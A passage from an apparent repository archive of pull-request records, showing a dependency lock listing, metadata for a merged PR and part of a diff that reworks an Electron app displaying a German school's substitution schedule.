++ "resolved": "https://registry.npmjs.org/sntp/-/sntp-1.0.9.tgz"
++ },
++ "spdx-correct": {
++ "version": "1.0.2",
++ "from": "spdx-correct@>=1.0.0 <1.1.0",
++ "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-1.0.2.tgz"
++ },
++ "spdx-expression-parse": {
++ "version": "1.0.3",
++ "from": "spdx-expression-parse@>=1.0.0 <1.1.0",
++ "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-1.0.3.tgz"
++ },
++ "spdx-license-ids": {
++ "version": "1.2.2",
++ "from": "spdx-license-ids@>=1.0.2 <2.0.0",
++ "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-1.2.2.tgz"
++ },
++ "speedometer": {
++ "version": "0.1.4",
++ "from": "speedometer@>=0.1.2 <0.2.0",
++ "resolved": "https://registry.npmjs.org/speedometer/-/speedometer-0.1.4.tgz"
++ },
++ "sshpk": {
++ "version": "1.9.2",
++ "from": "sshpk@>=1.7.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.9.2.tgz",
++ "dependencies": {
++ "assert-plus": {
++ "version": "1.0.0",
++ "from": "assert-plus@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz"
++ }
++ }
++ },
++ "string_decoder": {
++ "version": "0.10.31",
++ "from": "string_decoder@>=0.10.0 <0.11.0",
++ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz"
++ },
++ "stringstream": {
++ "version": "0.0.5",
++ "from": "stringstream@>=0.0.4 <0.1.0",
++ "resolved": "https://registry.npmjs.org/stringstream/-/stringstream-0.0.5.tgz"
++ },
++ "strip-ansi": {
++ "version": "3.0.1",
++ "from": "strip-ansi@>=3.0.0 <4.0.0",
++ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz"
++ },
++ "strip-bom": {
++ "version": "2.0.0",
++ "from": "strip-bom@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz"
++ },
++ "strip-indent": {
++ "version": "1.0.1",
++ "from": "strip-indent@>=1.0.1 <2.0.0",
++ "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-1.0.1.tgz"
++ },
++ "strip-json-comments": {
++ "version": "1.0.4",
++ "from": "strip-json-comments@>=1.0.4 <1.1.0",
++ "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-1.0.4.tgz"
++ },
++ "supports-color": {
++ "version": "2.0.0",
++ "from": "supports-color@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz"
++ },
++ "temp": {
++ "version": "0.8.3",
++ "from": "temp@>=0.8.3 <0.9.0",
++ "resolved": "https://registry.npmjs.org/temp/-/temp-0.8.3.tgz",
++ "dependencies": {
++ "rimraf": {
++ "version": "2.2.8",
++ "from": "rimraf@>=2.2.6 <2.3.0",
++ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.2.8.tgz"
++ }
++ }
++ },
++ "throttleit": {
++ "version": "0.0.2",
++ "from": "throttleit@0.0.2",
++ "resolved": "https://registry.npmjs.org/throttleit/-/throttleit-0.0.2.tgz"
++ },
++ "through2": {
++ "version": "0.2.3",
++ "from": "through2@>=0.2.3 <0.3.0",
++ "resolved": "https://registry.npmjs.org/through2/-/through2-0.2.3.tgz"
++ },
++ "touch": {
++ "version": "0.0.3",
++ "from": "touch@0.0.3",
++ "resolved": "https://registry.npmjs.org/touch/-/touch-0.0.3.tgz",
++ "dependencies": {
++ "nopt": {
++ "version": "1.0.10",
++ "from": "nopt@>=1.0.10 <1.1.0",
++ "resolved": "https://registry.npmjs.org/nopt/-/nopt-1.0.10.tgz"
++ }
++ }
++ },
++ "tough-cookie": {
++ "version": "2.3.1",
++ "from": "tough-cookie@>=2.3.0 <2.4.0",
++ "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.1.tgz"
++ },
++ "traverse": {
++ "version": "0.3.9",
++ "from": "traverse@>=0.3.0 <0.4.0",
++ "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.3.9.tgz"
++ },
++ "trim-newlines": {
++ "version": "1.0.0",
++ "from": "trim-newlines@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-1.0.0.tgz"
++ },
++ "tunnel-agent": {
++ "version": "0.4.3",
++ "from": "tunnel-agent@>=0.4.1 <0.5.0",
++ "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.4.3.tgz"
++ },
++ "tweetnacl": {
++ "version": "0.13.3",
++ "from": "tweetnacl@>=0.13.0 <0.14.0",
++ "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.13.3.tgz"
++ },
++ "typedarray": {
++ "version": "0.0.6",
++ "from": "typedarray@>=0.0.5 <0.1.0",
++ "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz"
++ },
++ "util-deprecate": {
++ "version": "1.0.2",
++ "from": "util-deprecate@>=1.0.1 <1.1.0",
++ "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz"
++ },
++ "validate-npm-package-license": {
++ "version": "3.0.1",
++ "from": "validate-npm-package-license@>=3.0.1 <4.0.0",
++ "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.1.tgz"
++ },
++ "verror": {
++ "version": "1.3.6",
++ "from": "verror@1.3.6",
++ "resolved": "https://registry.npmjs.org/verror/-/verror-1.3.6.tgz"
++ },
++ "wrappy": {
++ "version": "1.0.2",
++ "from": "wrappy@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz"
++ },
++ "xtend": {
++ "version": "2.1.2",
++ "from": "xtend@>=2.1.1 <2.2.0",
++ "resolved": "https://registry.npmjs.org/xtend/-/xtend-2.1.2.tgz"
++ },
++ "yauzl": {
++ "version": "2.4.1",
++ "from": "yauzl@2.4.1",
++ "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.4.1.tgz"
++ },
++ "ansi-regex": {
++ "version": "2.0.0",
++ "from": "ansi-regex@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.0.0.tgz"
++ },
++ "ansi-styles": {
++ "version": "2.2.1",
++ "from": "ansi-styles@>=2.2.1 <3.0.0",
++ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz"
++ },
++ "asn1": {
++ "version": "0.2.3",
++ "from": "asn1@>=0.2.3 <0.3.0",
++ "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz"
++ },
++ "assert-plus": {
++ "version": "0.2.0",
++ "from": "assert-plus@>=0.2.0 <0.3.0",
++ "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-0.2.0.tgz"
++ },
++ "async": {
++ "version": "2.0.1",
++ "from": "async@>=2.0.1 <3.0.0",
++ "resolved": "https://registry.npmjs.org/async/-/async-2.0.1.tgz"
++ },
++ "aws-sign2": {
++ "version": "0.6.0",
++ "from": "aws-sign2@>=0.6.0 <0.7.0",
++ "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.6.0.tgz"
++ },
++ "aws4": {
++ "version": "1.4.1",
++ "from": "aws4@>=1.2.1 <2.0.0",
++ "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.4.1.tgz"
++ },
++ "bcrypt-pbkdf": {
++ "version": "1.0.0",
++ "from": "bcrypt-pbkdf@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.0.tgz",
++ "dependencies": {
++ "tweetnacl": {
++ "version": "0.14.3",
++ "from": "tweetnacl@>=0.14.3 <0.15.0",
++ "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.3.tgz"
++ }
++ }
++ },
++ "bl": {
++ "version": "1.1.2",
++ "from": "bl@>=1.1.2 <1.2.0",
++ "resolved": "https://registry.npmjs.org/bl/-/bl-1.1.2.tgz"
++ },
++ "boom": {
++ "version": "2.10.1",
++ "from": "boom@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/boom/-/boom-2.10.1.tgz"
++ },
++ "cached-request": {
++ "version": "1.0.0",
++ "from": "cached-request@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/cached-request/-/cached-request-1.0.0.tgz"
++ },
++ "caseless": {
++ "version": "0.11.0",
++ "from": "caseless@>=0.11.0 <0.12.0",
++ "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.11.0.tgz"
++ },
++ "chalk": {
++ "version": "1.1.3",
++ "from": "chalk@>=1.1.1 <2.0.0",
++ "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz"
++ },
++ "combined-stream": {
++ "version": "1.0.5",
++ "from": "combined-stream@>=1.0.5 <1.1.0",
++ "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.5.tgz"
++ },
++ "commander": {
++ "version": "2.9.0",
++ "from": "commander@>=2.9.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/commander/-/commander-2.9.0.tgz"
++ },
++ "core-util-is": {
++ "version": "1.0.2",
++ "from": "core-util-is@>=1.0.0 <1.1.0",
++ "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz"
++ },
++ "cryptiles": {
++ "version": "2.0.5",
++ "from": "cryptiles@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/cryptiles/-/cryptiles-2.0.5.tgz"
++ },
++ "dashdash": {
++ "version": "1.14.0",
++ "from": "dashdash@>=1.12.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.0.tgz",
++ "dependencies": {
++ "assert-plus": {
++ "version": "1.0.0",
++ "from": "assert-plus@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz"
++ }
++ }
++ },
++ "delayed-stream": {
++ "version": "1.0.0",
++ "from": "delayed-stream@>=1.0.0 <1.1.0",
++ "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz"
++ },
++ "ecc-jsbn": {
++ "version": "0.1.1",
++ "from": "ecc-jsbn@>=0.1.1 <0.2.0",
++ "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz"
++ },
++ "escape-string-regexp": {
++ "version": "1.0.5",
++ "from": "escape-string-regexp@>=1.0.2 <2.0.0",
++ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz"
++ },
++ "extend": {
++ "version": "3.0.0",
++ "from": "extend@>=3.0.0 <3.1.0",
++ "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.0.tgz"
++ },
++ "extsprintf": {
++ "version": "1.0.2",
++ "from": "extsprintf@1.0.2",
++ "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.0.2.tgz"
++ },
++ "forever-agent": {
++ "version": "0.6.1",
++ "from": "forever-agent@>=0.6.1 <0.7.0",
++ "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz"
++ },
++ "form-data": {
++ "version": "1.0.1",
++ "from": "form-data@>=1.0.0-rc4 <1.1.0",
++ "resolved": "https://registry.npmjs.org/form-data/-/form-data-1.0.1.tgz"
++ },
++ "generate-function": {
++ "version": "2.0.0",
++ "from": "generate-function@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/generate-function/-/generate-function-2.0.0.tgz"
++ },
++ "generate-object-property": {
++ "version": "1.2.0",
++ "from": "generate-object-property@>=1.1.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/generate-object-property/-/generate-object-property-1.2.0.tgz"
++ },
++ "getpass": {
++ "version": "0.1.6",
++ "from": "getpass@>=0.1.1 <0.2.0",
++ "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.6.tgz",
++ "dependencies": {
++ "assert-plus": {
++ "version": "1.0.0",
++ "from": "assert-plus@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz"
++ }
++ }
++ },
++ "graceful-fs": {
++ "version": "3.0.11",
++ "from": "graceful-fs@>=3.0.5 <4.0.0",
++ "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-3.0.11.tgz"
++ },
++ "graceful-readlink": {
++ "version": "1.0.1",
++ "from": "graceful-readlink@>=1.0.0",
++ "resolved": "https://registry.npmjs.org/graceful-readlink/-/graceful-readlink-1.0.1.tgz"
++ },
++ "har-validator": {
++ "version": "2.0.6",
++ "from": "har-validator@>=2.0.6 <2.1.0",
++ "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-2.0.6.tgz"
++ },
++ "has-ansi": {
++ "version": "2.0.0",
++ "from": "has-ansi@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz"
++ },
++ "hawk": {
++ "version": "3.1.3",
++ "from": "hawk@>=3.1.3 <3.2.0",
++ "resolved": "https://registry.npmjs.org/hawk/-/hawk-3.1.3.tgz"
++ },
++ "hoek": {
++ "version": "2.16.3",
++ "from": "hoek@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/hoek/-/hoek-2.16.3.tgz"
++ },
++ "http-signature": {
++ "version": "1.1.1",
++ "from": "http-signature@>=1.1.0 <1.2.0",
++ "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.1.1.tgz"
++ },
++ "inherits": {
++ "version": "2.0.1",
++ "from": "inherits@>=2.0.1 <2.1.0",
++ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz"
++ },
++ "is-my-json-valid": {
++ "version": "2.13.1",
++ "from": "is-my-json-valid@>=2.12.4 <3.0.0",
++ "resolved": "https://registry.npmjs.org/is-my-json-valid/-/is-my-json-valid-2.13.1.tgz"
++ },
++ "is-property": {
++ "version": "1.0.2",
++ "from": "is-property@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/is-property/-/is-property-1.0.2.tgz"
++ },
++ "is-typedarray": {
++ "version": "1.0.0",
++ "from": "is-typedarray@>=1.0.0 <1.1.0",
++ "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz"
++ },
++ "isarray": {
++ "version": "1.0.0",
++ "from": "isarray@>=1.0.0 <1.1.0",
++ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz"
++ },
++ "isstream": {
++ "version": "0.1.2",
++ "from": "isstream@>=0.1.2 <0.2.0",
++ "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz"
++ },
++ "jodid25519": {
++ "version": "1.0.2",
++ "from": "jodid25519@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/jodid25519/-/jodid25519-1.0.2.tgz"
++ },
++ "jsbn": {
++ "version": "0.1.0",
++ "from": "jsbn@>=0.1.0 <0.2.0",
++ "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.0.tgz"
++ },
++ "json-schema": {
++ "version": "0.2.2",
++ "from": "json-schema@0.2.2",
++ "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.2.tgz"
++ },
++ "json-stringify-safe": {
++ "version": "5.0.1",
++ "from": "json-stringify-safe@>=5.0.1 <5.1.0",
++ "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz"
++ },
++ "jsonpointer": {
++ "version": "2.0.0",
++ "from": "jsonpointer@2.0.0",
++ "resolved": "https://registry.npmjs.org/jsonpointer/-/jsonpointer-2.0.0.tgz"
++ },
++ "jsprim": {
++ "version": "1.3.0",
++ "from": "jsprim@>=1.2.2 <2.0.0",
++ "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.3.0.tgz"
++ },
++ "lodash": {
++ "version": "4.15.0",
++ "from": "lodash@>=4.8.0 <5.0.0",
++ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.15.0.tgz"
++ },
++ "mime-db": {
++ "version": "1.23.0",
++ "from": "mime-db@>=1.23.0 <1.24.0",
++ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.23.0.tgz"
++ },
++ "mime-types": {
++ "version": "2.1.11",
++ "from": "mime-types@>=2.1.7 <2.2.0",
++ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.11.tgz"
++ },
++ "natives": {
++ "version": "1.1.0",
++ "from": "natives@>=1.1.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/natives/-/natives-1.1.0.tgz"
++ },
++ "node-uuid": {
++ "version": "1.4.7",
++ "from": "node-uuid@>=1.4.7 <1.5.0",
++ "resolved": "https://registry.npmjs.org/node-uuid/-/node-uuid-1.4.7.tgz"
++ },
++ "oauth-sign": {
++ "version": "0.8.2",
++ "from": "oauth-sign@>=0.8.1 <0.9.0",
++ "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.8.2.tgz"
++ },
++ "pinkie": {
++ "version": "2.0.4",
++ "from": "pinkie@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz"
++ },
++ "pinkie-promise": {
++ "version": "2.0.1",
++ "from": "pinkie-promise@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz"
++ },
++ "process-nextick-args": {
++ "version": "1.0.7",
++ "from": "process-nextick-args@>=1.0.6 <1.1.0",
++ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-1.0.7.tgz"
++ },
++ "qs": {
++ "version": "6.2.1",
++ "from": "qs@>=6.2.0 <6.3.0",
++ "resolved": "https://registry.npmjs.org/qs/-/qs-6.2.1.tgz"
++ },
++ "readable-stream": {
++ "version": "2.0.6",
++ "from": "readable-stream@>=2.0.5 <2.1.0",
++ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.0.6.tgz"
++ },
++ "request": {
++ "version": "2.74.0",
++ "from": "request@>=2.69.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/request/-/request-2.74.0.tgz"
++ },
++ "sntp": {
++ "version": "1.0.9",
++ "from": "sntp@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/sntp/-/sntp-1.0.9.tgz"
++ },
++ "sshpk": {
++ "version": "1.10.0",
++ "from": "sshpk@>=1.7.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.10.0.tgz",
++ "dependencies": {
++ "assert-plus": {
++ "version": "1.0.0",
++ "from": "assert-plus@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz"
++ }
++ }
++ },
++ "string_decoder": {
++ "version": "0.10.31",
++ "from": "string_decoder@>=0.10.0 <0.11.0",
++ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz"
++ },
++ "stringstream": {
++ "version": "0.0.5",
++ "from": "stringstream@>=0.0.4 <0.1.0",
++ "resolved": "https://registry.npmjs.org/stringstream/-/stringstream-0.0.5.tgz"
++ },
++ "strip-ansi": {
++ "version": "3.0.1",
++ "from": "strip-ansi@>=3.0.0 <4.0.0",
++ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz"
++ },
++ "supports-color": {
++ "version": "2.0.0",
++ "from": "supports-color@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz"
++ },
++ "tough-cookie": {
++ "version": "2.3.1",
++ "from": "tough-cookie@>=2.3.0 <2.4.0",
++ "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.1.tgz"
++ },
++ "tunnel-agent": {
++ "version": "0.4.3",
++ "from": "tunnel-agent@>=0.4.1 <0.5.0",
++ "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.4.3.tgz"
++ },
++ "tweetnacl": {
++ "version": "0.13.3",
++ "from": "tweetnacl@>=0.13.0 <0.14.0",
++ "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.13.3.tgz"
++ },
++ "util-deprecate": {
++ "version": "1.0.2",
++ "from": "util-deprecate@>=1.0.1 <1.1.0",
++ "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz"
++ },
++ "verror": {
++ "version": "1.3.6",
++ "from": "verror@1.3.6",
++ "resolved": "https://registry.npmjs.org/verror/-/verror-1.3.6.tgz"
++ },
++ "xtend": {
++ "version": "4.0.1",
++ "from": "xtend@>=4.0.0 <5.0.0",
++ "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.1.tgz"
++ }
++ }
++}
diff --git a/pulls/6.json b/pulls/6.json
@@ -0,0 +1,18 @@
+{
+ "number": 6,
+ "title": "Update Sources tests",
+ "state": "merged",
+ "diff_file": "6.diff",
+ "author": "MTRNord",
+ "created_at": "2016-09-02T12:13:36Z",
+ "closed_at": "2016-09-02T12:13:43Z",
+ "merged_at": "2016-09-02T12:13:43Z",
+ "base_ref": "master",
+ "head_ref": "develop",
+ "labels": [],
+ "assignees": [],
+ "requested_reviewers": [],
+ "body": "",
+ "comments": [],
+ "review_comments": []
+}
diff --git a/pulls/6.md b/pulls/6.md
@@ -0,0 +1,13 @@
+# PR #6 Update Sources tests
+
+- **Status:** merged
+- **Author:** @MTRNord
+- **Created:** 2016-09-02T12:13:36Z
+- **Branch:** develop → master
+- **Merged:** 2016-09-02T12:13:43Z
+- **Diff:** [6.diff](./6.diff)
+
+---
+
+_No description._
+
diff --git a/pulls/7.diff b/pulls/7.diff
@@ -0,0 +1,345 @@
+diff --git a/.gitignore b/.gitignore
+index c6a79c6..a199a30 100644
+--- a/.gitignore
++++ b/.gitignore
+@@ -25,6 +25,7 @@ build/Release
+ build
+ prebuild
+ cache
++dist
+
+ # Dependency directory
+ node_modules
+@@ -33,5 +34,4 @@ node_modules
+ .npm
+
+ # Optional REPL history
+-.node_repl_history
+-LS.ico
+\ No newline at end of file
++.node_repl_history
+\ No newline at end of file
+diff --git a/app/.gitignore b/app/.gitignore
+index e19b3a4..d75a403 100644
+--- a/app/.gitignore
++++ b/app/.gitignore
+@@ -32,5 +32,4 @@ node_modules
+ .npm
+
+ # Optional REPL history
+-.node_repl_history
+-LS.ico
+\ No newline at end of file
++.node_repl_history
+\ No newline at end of file
+diff --git a/app/LS.ico b/app/LS.ico
+new file mode 100644
+index 0000000..ed8414e
+Binary files /dev/null and b/app/LS.ico differ
+diff --git a/app/index.html b/app/index.html
+index 0ea679c..e5c5059 100644
+--- a/app/index.html
++++ b/app/index.html
+@@ -7,6 +7,7 @@
+ <!-- Material Design fonts -->
+ <link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700">
+ <link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/icon?family=Material+Icons">
++ <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.3/css/bootstrap.min.css" integrity="sha384-MIwDKRSSImVFAZCVLtU0LMDdON6KVCrZHyVQQj6e8wIEJkW4tvwqXrbMIya1vriY" crossorigin="anonymous">
+ <link rel="stylesheet" href="https://cdn.rawgit.com/FezVrasta/bootstrap-material-design/dist/dist/bootstrap-material-design.min.css">
+ <title>Lornsenschule Vertretungsplan</title>
+ </head>
+@@ -17,13 +18,13 @@
+ <h1 id="school"></h1></br>
+
+ <ul class="nav nav-tabs" id="Tabs">
+- <li class="active"><a data-target="#vertretungen" data-toggle="tab">Profile</a></li>
+- <li><a data-target="#messages" data-toggle="tab">Messages</a></li>
++ <li class="nav-item"><a class="nav-link active" data-target="#vertretungen" data-toggle="tab">Vertretungen</a></li>
++ <li class="nav-item"><a class="nav-link" data-target="#messages" data-toggle="tab">Messages</a></li>
+ </ul>
+
+ <div class="tab-content">
+- <div class="tab-pane active" id="vertretungen"></div>
+- <div class="tab-pane" id="messages"></div>
++ <div class="tab-pane fade in active" id="vertretungen"></div>
++ <div class="tab-pane fade" id="messages"></div>
+ </div>
+
+ </div>
+@@ -32,11 +33,10 @@ <h1 id="school"></h1></br>
+
+ <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
+ <script>
+- /*
+- Refresh Button Snippets:
+- var remote = require('electron').remote
+- remote.getCurrentWindow().reload()
+- */
++ function reloadPage() {
++ var remote = require('electron').remote
++ remote.getCurrentWindow().reload()
++ }
+ window.$ = window.jQuery = require('./js/jquery-3.1.0.min.js');
+ var request = require('request')
+ , cachedRequest = require('cached-request')(request)
+@@ -53,7 +53,9 @@ <h1 id="school"></h1></br>
+ json: true,
+ ttl: 1800000
+ }, function (error, response, body) {
++ console.log("Response Code: " + response.statusCode)
+ if (!error && response.statusCode === 200) {
++ console.log("Parsing")
+ document.all.school.innerHTML = body.schoolId.replace(/_/g, ' ') + ' Vertretungsplan'; // Print the json response
+ for (var key in body.days) {
+ if (body.days.hasOwnProperty(key)) {
+@@ -65,50 +67,73 @@ <h1 id="school"></h1></br>
+ // //
+ //////////////////////////////////////////////////////////////
+ //////////////////////////////////////////////////////////////
+- if (key == 0) {
++ if (key == 1) {
+ date = body.days[key].dateString
+ substitutions = body.days[key].substitutions
+- substitutions.sort(function(a, b){
+- if (a.classes < b.classes) return -1;
+- if (b.classes < a.classes) return 1;
+- return 0;
+- })
++ messages = body.days[key].messages
++ console.log("Day found")
++ for (var key in messages) {
++ if (messages.hasOwnProperty(key)) {
++ $("#messages").append('<div class="card card-block" style="height: 10%; background-color: #EEEEEE; color: #000"><p>' + messages[key].replace(/\n/g, ' ') + '</p></div>')
++ }
++ }
+ for (var key in substitutions) {
+ if (substitutions.hasOwnProperty(key)) {
+- klasse = substitutions[key].classes
+- if ($("#klasse").attr("klasse") != klasse) {
+- $("#vertretungen").append('<h3 id="klasse" klasse="' + klasse + '">' + klasse + '</h3>')
+- }
+- var reg = new RegExp('[-]');
+- lesson = substitutions[key].lesson
+- substitutions_type = substitutions[key].type
+- text = substitutions[key].text
+- if (substitutions_type == "Vertretung") {
+- if (lesson.match(reg)) {
+- $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+- }else{
+- $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+- }
+- }else{
+- if (substitutions_type == "Betreuung") {
+- if (lesson.match(reg)) {
+- $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+- }else{
+- $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+- }
+- }else{
+- if (substitutions_type == "Unterricht geändert") {
+- if (lesson.match(reg)) {
+- $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ console.log("Substitutions found")
++ substitutions_now = substitutions[key]
++ klassen = substitutions_now.classes
++ for (var key in klassen) {
++ if (klassen.hasOwnProperty(key)) {
++ console.log("Class found")
++ klasse = klassen[key]
++ console.log(klasse)
++ console.log($("h3").filter("[klasse='" + klasse + "']", "#klasse").length)
++ if ($("h3").filter("[klasse='" + klasse + "']", "#klasse").length == 0) {
++ console.log("Found new Class")
++ $("#vertretungen").append('<div id="klasse" klasse="' + klasse + '"><h3 id="klasse" klasse="' + klasse + '">' + klasse + '</h3>')
++ }else{}
++ var reg = new RegExp('[-]');
++ lesson = substitutions_now.lesson
++ substitutions_type = substitutions_now.type
++ text = substitutions_now.text
++ console.log("Appending")
++ console.log("Multiple Subjects: " + reg.test(lesson))
++ if (substitutions_type == "Vertretung") {
++ if (reg.test(lesson)) {
